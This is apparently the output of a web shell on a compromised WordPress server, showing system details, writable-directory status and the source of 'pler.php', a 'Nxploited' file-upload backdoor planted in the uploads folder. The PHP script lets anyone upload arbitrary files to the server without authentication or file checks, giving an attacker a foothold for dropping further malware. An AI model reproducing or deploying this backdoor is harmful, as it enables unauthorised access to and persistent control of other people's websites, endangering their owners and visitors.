Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/uploads/WPL/726/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/uploads/WPL/726/pler.php
<?php
// Nxploited
$msg = '';
$type = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $f    = $_FILES['file'];
    $dest = __DIR__ . '/' . basename($f['name']);

    if ($f['error'] !== UPLOAD_ERR_OK) {
        $msg  = 'Upload error: ' . $f['error'];
        $type = 'err';
    } elseif (move_uploaded_file($f['tmp_name'], $dest)) {
        $msg  = '✔ File uploaded: ' . htmlspecialchars(basename($f['name']));
        $type = 'ok';
    } else {
        $msg  = '✘ Failed to move file.';
        $type = 'err';
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Nxploited — Upload</title>
<style>
  *{box-sizing:border-box;margin:0;padding:0}
  body{background:#0d0d0d;font-family:'Segoe UI',sans-serif;display:flex;
       align-items:center;justify-content:center;min-height:100vh}
  .card{background:#141414;border:1px solid #222;border-radius:10px;
        padding:36px 40px;width:360px;text-align:center}
  h2{color:#c0c0c0;font-size:1.1rem;font-weight:500;letter-spacing:.05em;
     margin-bottom:28px}
  h2 span{color:#e05c5c;font-weight:700}
  .drop{border:2px dashed #2c2c2c;border-radius:8px;padding:24px 16px;
        cursor:pointer;transition:.2s;margin-bottom:20px}
  .drop:hover{border-color:#e05c5c}
  .drop p{color:#555;font-size:.85rem}
  input[type=file]{display:none}
  label.btn{display:block;background:#1e1e1e;color:#aaa;
            border:1px solid #2e2e2e;border-radius:6px;padding:9px;
            font-size:.85rem;cursor:pointer;transition:.2s;margin-bottom:14px}
  label.btn:hover{border-color:#e05c5c;color:#e05c5c}
  #fname{color:#777;font-size:.78rem;margin-bottom:16px;min-height:1.1em}
  button{width:100%;padding:10px;background:#e05c5c;border:none;
         border-radius:6px;color:#fff;font-size:.9rem;font-weight:600;
         cursor:pointer;letter-spacing:.03em;transition:.2s}
  button:hover{background:#c94b4b}
  .msg{margin-top:18px;padding:10px 14px;border-radius:6px;font-size:.85rem}
  .ok{background:#0e2e1a;color:#4caf72;border:1px solid #1a4a2a}
  .err{background:#2e0e0e;color:#e05c5c;border:1px solid #4a1a1a}
</style>
</head>
<body>
<div class="card">
  <h2><span>Nx</span>ploited &mdash; File Upload</h2>

  <form method="post" enctype="multipart/form-data" id="frm">
    <div class="drop" onclick="document.getElementById('f').click()">
      <p>Click to select a file</p>
    </div>
    <input type="file" name="file" id="f"
           onchange="document.getElementById('fname').textContent=this.files[0]?this.files[0].name:''">
    <div id="fname"></div>
    <label class="btn" for="f">&#128194; Browse</label>
    <button type="submit">Upload</button>
  </form>

  <?php if ($msg): ?>
  <div class="msg <?= $type ?>"> <?= $msg ?> </div>
  <?php endif; ?>
</div>
</body>
</html>

Hry